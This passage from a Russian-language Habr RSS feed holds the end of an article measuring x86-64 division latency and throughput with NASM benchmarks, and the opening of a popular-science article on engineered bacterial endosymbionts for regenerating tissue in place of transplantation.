&lt;code&gt;mov&lt;/code&gt; на 32-битные в обоих вариантах:&lt;pre&gt;&lt;code class=assembly&gt;; div word — было:               ; div word — стало:&#xA;mov dx, 0x0008                   mov edx, 8&#xA;mov ax, 0x2B7C                   mov eax, 0x2B7C&#xA;div word [best_den]              div word [best_den]&#xA;&#xA;; idiv word — было:              ; idiv word — стало:&#xA;mov dx, 0x0008                   mov edx, 8&#xA;mov ax, 0x2B7C                   mov eax, 0x2B7C&#xA;idiv word [best_den]             idiv word [best_den]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Одна буква &lt;code&gt;e&lt;/code&gt;. Тот же &lt;code&gt;div word&lt;/code&gt;, те же числа. Сначала проверим, что сам setup по-прежнему бесплатен:&lt;pre&gt;&lt;code&gt;┌──────────────────────────────────┬──────┐&#xA;│ Setup (без div)                  │ cpr  │&#xA;├──────────────────────────────────┼──────┤&#xA;│ 32-бит для word (mov edx/eax)    │ 1925 │&#xA;└──────────────────────────────────┴──────┘&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;1 такт — как и все остальные setup-ы. Теперь запускаем с делением:&lt;pre&gt;&lt;code&gt;┌───────────────────────┬───────────────┬────────────────┐&#xA;│                       │ signed (idiv) │ unsigned (div) │&#xA;├───────────────────────┼───────────────┼────────────────┤&#xA;│ 16-bit (mov dx)       │ 44 447        │ 44 457         │&#xA;├───────────────────────┼───────────────┼────────────────┤&#xA;│ 16-bit (mov edx)      │ 15 368        │ 15 368         │&#xA;├───────────────────────┼───────────────┼────────────────┤&#xA;│ 32-bit                │ 13 445        │ 13 445         │&#xA;├───────────────────────┼───────────────┼────────────────┤&#xA;│ 64-bit                │ 52 289        │ 48 160         │&#xA;└───────────────────────┴───────────────┴────────────────┘&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В тактах (чистая стоимость деления):&lt;pre&gt;&lt;code&gt;┌───────────────────────┬──────────────┬──────────────┐&#xA;│                       │ idiv (чист.) │ div (чист.)  │&#xA;├───────────────────────┼──────────────┼──────────────┤&#xA;│ 16-bit (mov dx)       │ 22.2         │ 22.2         │&#xA;├───────────────────────┼──────────────┼──────────────┤&#xA;│ 16-bit (mov edx)      │  7.0         │  7.0         │&#xA;├───────────────────────┼──────────────┼──────────────┤&#xA;│ 32-bit                │  6.0         │  6.0         │&#xA;├───────────────────────┼──────────────┼──────────────┤&#xA;│ 64-bit                │ 26.2         │ 24.1         │&#xA;└───────────────────────┴──────────────┴──────────────┘&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/4e2/b93/457/4e2b9345722869121f4de8ab49eebbbe.png width=1440 height=1058 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/4e2/b93/457/4e2b9345722869121f4de8ab49eebbbe.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/4e2/b93/457/4e2b9345722869121f4de8ab49eebbbe.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;16-бит с &lt;code&gt;mov edx&lt;/code&gt; — &lt;strong&gt;15 368 cpr (7.0 тактов чистых)&lt;/strong&gt;. С &lt;code&gt;mov dx&lt;/code&gt; было 44 447 cpr (22.2 такта). Втрое быстрее. Теория подтверждена.&lt;p&gt;Мы уже знаем из наших замеров, что сами &lt;code&gt;mov&lt;/code&gt;-ы бесплатны — все setup-ы стоят 1 такт. Значит, вся разница — в зависимостях, которые 16-битные записи создают внутри цикла с &lt;code&gt;div&lt;/code&gt;.&lt;hr&gt;&lt;h3&gt;Глава 4. А что с 64-битным делением?&lt;/h3&gt;&lt;p&gt;С 16-бит разобрались. Но в таблице осталась странность: 64-бит &lt;code&gt;div qword&lt;/code&gt; — ~48 160 cpr, это ~25 тактов на итерацию. При этом зависимостей нет: &lt;code&gt;mov rdx, 0&lt;/code&gt; и &lt;code&gt;mov rax, 536700&lt;/code&gt; — полные 64-битные перезаписи, цепочка разорвана.&lt;p&gt;Значит, ~25 тактов — это не latency, а &lt;strong&gt;throughput&lt;/strong&gt; 64-битного делителя. Он просто не может быстрее. Данные &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt; подтверждают: throughput &lt;code&gt;div r64&lt;/code&gt; на Coffee Lake = ~21 такт. На 64-битном делении CPU тратит 33 µops (32 из микрокода!) вместо 10 для 16/32-бит. Совершенно другая реализация.&lt;p&gt;Но если ~21 такт — это throughput, то latency должна быть больше. &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt; говорит: latency от 32 тактов. Значит, если создать зависимость между итерациями, время должно вырасти.&lt;hr&gt;&lt;h3&gt;Глава 5. Где зависимость?&lt;/h3&gt;&lt;p&gt;Создадим зависимость. После &lt;code&gt;div qword&lt;/code&gt; (536700 / 2700): &lt;code&gt;rax&lt;/code&gt; = 198, &lt;code&gt;rdx&lt;/code&gt; = 2100. Мы знаем результат — значит, через вычитание можно вернуть &lt;code&gt;rdx&lt;/code&gt; к нулю, сохранив зависимость:&lt;pre&gt;&lt;code class=assembly&gt;mov rax, 536700&#xA;sub rdx, 2100          ; 2100 - 2100 = 0, зависит от rdx&#xA;div qword [best_den]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Запускаем: ~46 300 cpr. Столько же, сколько без зависимости. Время &lt;strong&gt;не выросло&lt;/strong&gt;.&lt;p&gt;Странно. Зависимость &lt;code&gt;div → sub → div&lt;/code&gt; точно есть. &lt;code&gt;sub&lt;/code&gt; читает &lt;code&gt;rdx&lt;/code&gt;, который записал &lt;code&gt;div&lt;/code&gt;. Почему это не замедляет?&lt;hr&gt;&lt;h3&gt;Глава 6. Ищу latency&lt;/h3&gt;&lt;p&gt;Может, ~21 такт — это и есть latency, а не throughput? Может, для маленьких чисел делитель просто быстрее, чем обещает &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt;?&lt;p&gt;Попробуем увеличить число: 536700000, потом 5367000000000. Результат — тот же: ~46 000–48 000 cpr. Размер числа не влияет.&lt;hr&gt;&lt;h3&gt;Глава 7. Две зависимости&lt;/h3&gt;&lt;p&gt;&lt;code&gt;div qword&lt;/code&gt; читает &lt;strong&gt;два&lt;/strong&gt; входных регистра: &lt;code&gt;rdx:rax&lt;/code&gt;. До сих пор мы создавали зависимость только по &lt;code&gt;rdx&lt;/code&gt;. А что, если нужна зависимость по &lt;strong&gt;обоим&lt;/strong&gt;?&lt;p&gt;После &lt;code&gt;div&lt;/code&gt;: &lt;code&gt;rax&lt;/code&gt; = 198, &lt;code&gt;rdx&lt;/code&gt; = 2100. Через сложение возвращаем оба к исходным значениям:&lt;pre&gt;&lt;code class=assembly&gt;add rax, 536502       ; 198 + 536502 = 536700, зависит от rax&#xA;add rdx, -2100        ; 2100 - 2100 = 0, зависит от rdx&#xA;div qword [best_den]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Те же числа. Тот же результат. Запускаем: &lt;strong&gt;~67 050 cpr = 34 такта на итерацию!&lt;/strong&gt;&lt;p&gt;Было 24 такта без зависимости. Стало 34 с зависимостью. Разница 10 тактов. &lt;strong&gt;Вот&lt;/strong&gt; настоящая latency. И ~34 — это как раз в диапазоне 32+, который указывает &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt;.&lt;hr&gt;&lt;h3&gt;Глава 8. Какой именно регистр?&lt;/h3&gt;&lt;p&gt;Но подождите. Зависимость по одному &lt;code&gt;rdx&lt;/code&gt; (глава 5) не замедлила цикл, а зависимость по обоим — замедлила. Значит, дело конкретно в &lt;code&gt;rax&lt;/code&gt;?&lt;p&gt;Проверяем три варианта:&lt;pre&gt;&lt;code class=assembly&gt;; Вариант 1: зависимость только по rax&#xA;add rax, 536502          ; зависит от rax&#xA;xor edx, edx             ; НЕ зависит от rdx&#xA;div qword [best_den]&#xA;&#xA;; Вариант 2: зависимость только по rdx&#xA;mov rax, 536700           ; НЕ зависит от rax&#xA;add rdx, -2100            ; зависит от rdx&#xA;div qword [best_den]&#xA;&#xA;; Вариант 3: оба&#xA;add rax, 536502&#xA;add rdx, -2100&#xA;div qword [best_den]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Результаты:&lt;pre&gt;&lt;code&gt;┌────────────────┬─────────┬───────────────────┐&#xA;│ Зависимость    │ cpr     │ Такты/итерацию    │&#xA;├────────────────┼─────────┼───────────────────┤&#xA;│ нет            │ ~48 000 │ ~24 (throughput)   │&#xA;├────────────────┼─────────┼───────────────────┤&#xA;│ только rax     │ 67 800  │ 34.3              │&#xA;├────────────────┼─────────┼───────────────────┤&#xA;│ только rdx     │ 46 250  │ 23.1              │&#xA;├────────────────┼─────────┼───────────────────┤&#xA;│ оба            │ 67 050  │ 34.0              │&#xA;└────────────────┴─────────┴───────────────────┘&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Зависимость по &lt;code&gt;rax&lt;/code&gt; → 34 такта. Зависимость по &lt;code&gt;rdx&lt;/code&gt; → 23 такта. &lt;strong&gt;Как будто зависимости нет.&lt;/strong&gt;&lt;hr&gt;&lt;h3&gt;Глава 9. Остаток приходит раньше частного&lt;/h3&gt;&lt;p&gt;Делитель выдаёт результаты &lt;strong&gt;не одновременно&lt;/strong&gt;.&lt;p&gt;Остаток (&lt;code&gt;rdx&lt;/code&gt;) готов через ~23 такта — раньше, чем throughput делителя (~21). Поэтому зависимость по &lt;code&gt;rdx&lt;/code&gt; ничего не стоит: к моменту, когда делитель готов принять следующую операцию, &lt;code&gt;rdx&lt;/code&gt; уже давно посчитан.&lt;p&gt;Частное (&lt;code&gt;rax&lt;/code&gt;) готов через ~34 такта — &lt;strong&gt;позже&lt;/strong&gt;, чем throughput. Делитель свободен, &lt;code&gt;add rax, 536502&lt;/code&gt; готова к выполнению, но ей нужен &lt;code&gt;rax&lt;/code&gt;, которого ещё нет. 10 тактов простоя.&lt;p&gt;Данные &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt; подтверждают: на Coffee Lake для &lt;code&gt;DIV R64&lt;/code&gt; latency до &lt;code&gt;rax&lt;/code&gt; (частное) начинается от 32 тактов, а до &lt;code&gt;rdx&lt;/code&gt; (остаток) — от 5 тактов.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/df4/09b/713/df409b713c8a3efc3ecc38bf08ed4e0a.png width=1440 height=890 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/df4/09b/713/df409b713c8a3efc3ecc38bf08ed4e0a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/df4/09b/713/df409b713c8a3efc3ecc38bf08ed4e0a.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;hr&gt;&lt;h3&gt;Полная карта делителя&lt;/h3&gt;&lt;p&gt;Данные &lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;uops.info&lt;/a&gt; для Coffee Lake:&lt;pre&gt;&lt;code&gt;┌────────────┬──────────────┬──────────────┬────────────┬───────┬─────────────┐&#xA;│ Инструкция │ Lat →rax     │ Lat →rdx     │ Throughput │ µops  │ Из микрокода│&#xA;├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤&#xA;│ div r16    │ 21           │ 22           │ 6          │ 10    │ 7           │&#xA;├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤&#xA;│ idiv r16   │ 21           │ 22           │ 6          │ 10    │ 7           │&#xA;├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤&#xA;│ div r32    │ 24–26        │ 24–26        │ 6          │ 10    │ 7           │&#xA;├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤&#xA;│ idiv r32   │ 24–26        │ 24–26        │ 6          │ 10    │ 7           │&#xA;├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤&#xA;│ div r64    │ 32–87        │ 5–75         │ 21         │ 33    │ 32          │&#xA;├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤&#xA;│ idiv r64   │ 38–94        │ 39–95        │ 24         │ 56    │ 53          │&#xA;└────────────┴──────────────┴──────────────┴────────────┴───────┴─────────────┘&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/086/e3b/8db/086e3b8db05fa47f95d8cdec4aa0d017.png width=1440 height=864 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/086/e3b/8db/086e3b8db05fa47f95d8cdec4aa0d017.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/086/e3b/8db/086e3b8db05fa47f95d8cdec4aa0d017.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;16/32-бит: 10 µops, throughput 6. Зазор latency/throughput — ~3.7×. Partial register merge не даёт попасть в throughput, и мы видим latency.&lt;p&gt;64-бит &lt;code&gt;div&lt;/code&gt;: 33 µops (32 из микрокода!), throughput 21. Другая реализация.&lt;p&gt;64-бит &lt;code&gt;idiv&lt;/code&gt;: 56 µops. Знаковое 64-битное деление — самая тяжёлая целочисленная операция на Skylake.&lt;hr&gt;&lt;h3&gt;Итоги&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Регистры — это псевдонимы.&lt;/strong&gt; Физические регистры выделяются динамически через RAT. Это основа OoO-execution.&lt;li&gt;&lt;p&gt;&lt;strong&gt;16-битные записи ядовиты.&lt;/strong&gt; Они создают ложные зависимости через partial register merge. 32-битные записи обнуляют верх и разрывают цепочку. Причём никакой экономии нет: &lt;code&gt;mov dx, imm16&lt;/code&gt; всё равно занимает целый 64-битный физический регистр и добавляет merge µop сверху.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Latency ≠ throughput.&lt;/strong&gt; Делитель может принять новую операцию задолго до выдачи результата предыдущей. Но только если зависимости не блокируют подачу операндов.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Разные выходы одной инструкции имеют разную latency.&lt;/strong&gt; Остаток готов раньше частного. Зависимость от «быстрого» выхода может быть бесплатной.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Размер операнда определяет реализацию.&lt;/strong&gt; 16/32-бит &lt;code&gt;div&lt;/code&gt; — 10 µops. 64-бит — 33 µops из микрокода. Это не масштабирование, это другой алгоритм.&lt;/ol&gt;&lt;hr&gt;&lt;p&gt;Наверное вы успели заметить, что в одном случае 6 тактов, а в другом 7 тактов, хотя throughput - 6. Кто украл такт? И как вообще так получилось, что все, что вокруг деления на в одном случае ничего не стоит, а в другом случае обходится лишь в 1 такт. Если это будет интересно, то я обязательно освещу это в другой статье. Всем спасибо, что дочитали до конца!&lt;p&gt;&lt;em&gt;Замеры выполнены на Intel Core i7-10510U (Comet Lake, 14nm, микроархитектура Skylake). Данные о latency и throughput — &lt;/em&gt;&lt;a href=http://uops.info rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;em&gt;uops.info&lt;/em&gt;&lt;/a&gt;&lt;em&gt;. Все эксперименты — чистый NASM x86-64, Linux/X11.&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Erbium</author>
      <guid>https://habr.com/ru/articles/1024862/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024862</guid>
      <pubDate>Fri, 17 Apr 2026 19:16:12 +0000</pubDate>
    </item>
    <item>
      <title>Как приручить эндосимбионтов. Выращивание клеток и тканей вместо трансплантации</title>
      <link>https://habr.com/ru/articles/1024856/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024856</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Когда-нибудь я хотел бы рассказать на Хабре о величайшей «&lt;a href=https://storage.piter.com/upload/contents/978549601540/978549601540_p.pdf rel=&#34;noopener noreferrer nofollow&#34;&gt;инсайдерской сделке&lt;/a&gt;» в истории нашей планеты — как хлоропласты и митохондрии стали симбионтами эукариотов, а затем были ими порабощены, по-видимому, утратив большую часть генома и сначала потеряв способность жить вне клетки-хозяина, а затем и превратившись в известные нам органеллы. Но за исследованием этой темы мне попался сюжет, достойный отдельной публикации на Хабре, которую вы сейчас видите.&lt;p&gt;Одной из самых высокотехнологичных и жизненно необходимых операций в арсенале современной медицины является трансплантация органов и тканей. При этом такие операции до сих пор остаются крайне инвазивными и рискованными как из-за глубины хирургического вмешательства, так и из-за опасности иммунного отторжения трансплантата. Ещё в 2018 году уважаемый Максим Агаджанов @marks писал на Хабре об &lt;a href=https://habr.com/ru/articles/414945/ rel=&#34;noopener noreferrer nofollow&#34;&gt;искусственной коже&lt;/a&gt;, изобретённой в Массачусетском технологическом институте для покрытия бионических протезов. Но меня заинтересовало, а существует ли хотя бы в статусе НИОКР технология, которая позволила бы отказаться от трансплантации органов и (хотя бы в молодом организме, пострадавшем из-за болезни или травмы, а не из-за одряхления) аккуратно восстанавливать органы и ткани? В наше время подобные наработки уже существуют, они связаны с использованием искусственных бактерий и биоплёнок в области точной медицины с применением генной инженерии.&lt;p&gt;Если какой-то из жизненно важных органов отказывает в результате травмы или критической недостаточности, то иногда нет другого выхода, кроме как заменить его донорским органом (но существуют и &lt;a href=https://habr.com/ru/companies/madrobots/articles/410541/ rel=&#34;noopener noreferrer nofollow&#34;&gt;более экзотические технологии&lt;/a&gt;, о которых упоминает на Хабре уважаемая @Ekaterina_T, также обратите внимание на комментарий уважаемого @Meklon к её статье). Тем не менее, донорских органов всегда не хватает, &lt;a href=https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%81%D0%B5%D1%80%D0%B2%D0%B0%D1%86%D0%B8%D1%8F_%D0%BE%D1%80%D0%B3%D0%B0%D0%BD%D0%BE%D0%B2_%D0%B8_%D1%82%D0%BA%D0%B0%D0%BD%D0%B5%D0%B9 rel=&#34;noopener noreferrer nofollow&#34;&gt;требования к их транспортировке&lt;/a&gt; очень сложны, а риск &lt;a href=https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B0%D0%BA%D1%86%D0%B8%D1%8F_%D0%BE%D1%82%D1%82%D0%BE%D1%80%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_%D1%82%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BB%D0%B0%D0%BD%D1%82%D0%B0%D1%82%D0%B0 rel=&#34;noopener noreferrer nofollow&#34;&gt;иммунного отторжения&lt;/a&gt; исключить невозможно. Срок ожидания донорского сердца или лёгкого в США составляет около 4 месяцев, срок ожидания донорской почки достигает 5 лет.&lt;p&gt;Поэтому остро требуется технология, которая позволяла бы восстанавливать или заменять нефункциональные органы прямо внутри тела, чтобы этот процесс напоминал не пересадку, а латание. Например, после пережитого инфаркта можно было бы заменить свежей мышечной тканью сам рубец, а при болезни Паркинсона &lt;a href=https://nplus1.ru/news/2017/04/12/virus-against-parkinson rel=&#34;noopener noreferrer nofollow&#34;&gt;выращивать новые нейроны&lt;/a&gt; в темпе, умеренно превышающем темп отказа собственных нейронов пациента. Кроме того, этот метод был бы полезен и при старческих или хронических заболеваниях, когда некоторые ткани (например, хрящи или коллагеновые волокна) изнашиваются по чисто механическим причинам.&lt;p&gt;Опытным путём доказано, что взрослые соматические клетки можно &lt;a href=https://axolbio.com/reprogramming-somatic-cells-to-induced-pluripotent-stem-cells-ipsc-a-cellular-career-change/ rel=&#34;noopener noreferrer nofollow&#34;&gt;превращать&lt;/a&gt; в плюрипотентные стволовые клетки, перепрограммируя их на уровне генома. Эта технология освоена in vitro, но для её адаптации к in vivo требуется биохимический механизм, который не приводил бы к неконтролируемому делению стволовых клеток, образованию &lt;a href=https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%B4%D1%83%D1%86%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5_%D1%81%D1%82%D0%B2%D0%BE%D0%BB%D0%BE%D0%B2%D1%8B%D0%B5_%D0%BA%D0%BB%D0%B5%D1%82%D0%BA%D0%B8 rel=&#34;noopener noreferrer nofollow&#34;&gt;тератом&lt;/a&gt; и раковых опухолей. Такое решение может иметь вид искусственных органелл (эндосимбионтов), которые внедряются в клетки поражённого/протезируемого органа (ткани) и действовать как переключатели, направляющие процесс восстановления ткани.   &lt;p&gt;Разработкой подобных органелл на основе прокариотических клеток (бактерий) занимается, в частности, группа под руководством Криса Контага в университете штата Мичиган (&lt;a href=https://engineering.msu.edu/departments/bme rel=&#34;noopener noreferrer nofollow&#34;&gt;на базе Инженерного колледжа&lt;/a&gt;). Давайте уточним как такой эндосимбиоз соотносится с обычным симбиозом, а также как бактерию превращают в генетический инструмент.  &lt;h2&gt;Что такое эндосимбиоз&lt;/h2&gt;&lt;p&gt;Симбиоз — это тесные взаимно благоприятные отношения особей неродственных видов. Симбиоз повышает шансы на выживание для всех участников этого союза. Все поклонники мультфильма «В поисках Немо» знают о симбиозе морских анемонов (актиний) и &lt;a href=https://aqua-service.spb.ru/p_stati/cimbioz_ryibyi_klouna_i_aktinii.html rel=&#34;noopener noreferrer nofollow&#34;&gt;рыб-клоунов&lt;/a&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/984/f89/9d5/984f899d5c6be17a7f486f4d32476a21.png width=931 height=618 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/984/f89/9d5/984f899d5c6be17a7f486f4d32476a21.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/984/f89/9d5/984f899d5c6be17a7f486f4d32476a21.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Симбиоз может быть не только полезной опцией, но и необходимым условием выживания. На макроуровне наиболее ярким примером такого рода являются лишайники, представляющие собой &lt;a href=https://elementy.ru/novosti_nauki/432835/Tretiy_ne_lishniy_v_bolshinstve_lishaynikov_prisutstvuyut_dva_griba_i_vodorosl rel=&#34;noopener noreferrer nofollow&#34;&gt;симбиоз грибов и водорослей&lt;/a&gt;. В случае с лишайниками водоросли, пожалуй, Являются более важным участником такого союза, поскольку обеспечивают систему питанием (благодаря фотосинтезу), а грибы дают водорослям опору и защиту.&lt;p&gt;Аналогично, эндосимбионт — это небольшая (в нашем случае — генетически модифицированная) клетка бактериального происхождения, живущая внутри более крупных эукариотических клеток, из которых состоят органы и ткани животных и растений. Команда Криса Контага внедряет в безвредные бактерии гены эукариот, служащие для взаимодействия такого микроорганизма с клеткой-хозяином, а потом методом направленной эволюции сокращает геном эндосимбионта до такого необходимого минимума, который позволял бы ему выполнять свои функции, но при этом не приводил к конкуренции эндосимбионта с хозяином за питательные вещества и другие ресурсы. Таким образом, эндосимбионт не пытается навредить хозяину (не превращается в паразита). В геном таких искусственных бактерий внедряются гены, &lt;a href=https://habr.com/ru/companies/contentai/articles/493310/ rel=&#34;noopener noreferrer nofollow&#34;&gt;кодирующие светящиеся пигменты&lt;/a&gt;. Благодаря этим пигментам, эндосимбионтов проще находить в организме хозяина, а также контролировать, активны ли генетически изменённые гены. Кроме того, характер свечения позволяет судить, правильно ли работает вся система.  &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/9c4/76e/94d/9c476e94d40bea784d9fe1b9b19d2a4b.png width=974 height=478 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/9c4/76e/94d/9c476e94d40bea784d9fe1b9b19d2a4b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/9c4/76e/94d/9c476e94d40bea784d9fe1b9b19d2a4b.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt; &lt;a href=&#34;https://www.openaccessgovernment.org/contributor_profile/christopher-h-contag-michigan-state-university/#:~:text=Tracing%20evolution%E2%80%99s%20blueprint%3A%20Minimal%20genome%20life%20and%20the%20engineering%20of%20synthetic%20endosymbiosis&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;Искусственные эндосимбионты&lt;/strong&gt;&lt;/a&gt; сделаны по образу и подобию митохондрий. Модифицированный бактериальный геном остаётся изолирован от клетки-хозяина, что принципиально отличает эндосимбионтов от генетических векторов, плазмид или внеклеточных препаратов. Поскольку у эндосимбионта есть своя оболочка, на ней можно разместить рецепторы, реагирующие как на биохимические изменения в самой клетке, так и на сигнальные препараты, вводимые в организм экспериментатором или врачом. Эндосимбионт реагирует на эти стимулы строго определёнными откликами на молекулярном уровне, которые выполняются подобно короткой программе или скрипту. Кроме того, набор генов эндосимбионта позволяет не только управлять им на уровне биохимии, но и задействовать &lt;a href=https://habr.com/ru/articles/874558/ rel=&#34;noopener noreferrer nofollow&#34;&gt;пространственную транскриптомику&lt;/a&gt;, протеомику и делать внутриклеточные «снимки». Для этого создаются цепочки последовательно срабатывающих генов, и эти генетические контуры обладают заданными свойствами.  Такой пространственный подход к изучению биохимии позволяет отслеживать межклеточные взаимодействия как в здоровых, так и в поражённых тканях, картировать функции целого объёма ткани (в трёх измерениях), а не просто исследовать разрозненные клетки в культуре. Таким образом, отслеживается поведение клеток в ткани как в экосистеме; следовательно, реконструируется структура и логика поведения ткани. Затем эта информация используется в качестве шаблона для диагностической и/или лечебной работы с участием эндосимбионтов. Именно при регенерации нейронов и синапсов такой пространственный подход принципиально важен.&lt;p&gt;Интеграция таких диагностических и восстановительных свойств эндосимбионтов открывает возможности для гораздо более продвинутой терапии, чем простое стимулирование работы ткани, где выраженность стимула зависит от дозировки препарата, а работа отдельных клеток не контролируется. Перепрограммирование соматических клеток в стволовые при помощи эндосимбионтов поддаётся динамической количественной оценке, визуализации и итеративному улучшению. В таком контексте    &lt;a href=&#34;https://www.openaccessgovernment.org/contributor_profile/christopher-h-contag-michigan-state-university/#:~:text=Neuroengineering%20with%20engineered%20endosymbionts&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;генно-инженерный эндосимбиоз&lt;/strong&gt;&lt;/a&gt; превращается в программируемую процедуру с детализацией вплоть до отдельных клеток. Метод позволяет в режиме реального времени оценивать, как изменения распространяются по ткани и не допускать, чтобы они становились патологическими или злокачественными. Фактически, это постепенная перенастройка клеток и контролируемая (а не стохастическая) регенерация на клеточном уровне.&lt;h2&gt;Генетически изменённые бактерии для перепрограммирования клеток&lt;/h2&gt;&lt;p&gt;В настоящее время аналогичные задачи, связанные с перепрограммированием клеток, как правило, решаются при помощи вирусных векторов. Вирус, встраиваясь в клетку, привносит в неё и генетическую полезную нагрузку. Это грубая технология, с которой связаны серьёзные риски — например, мутации при генетических вставках и необратимые изменения клеток. В случае с эндосимбионтами разница очевидна — 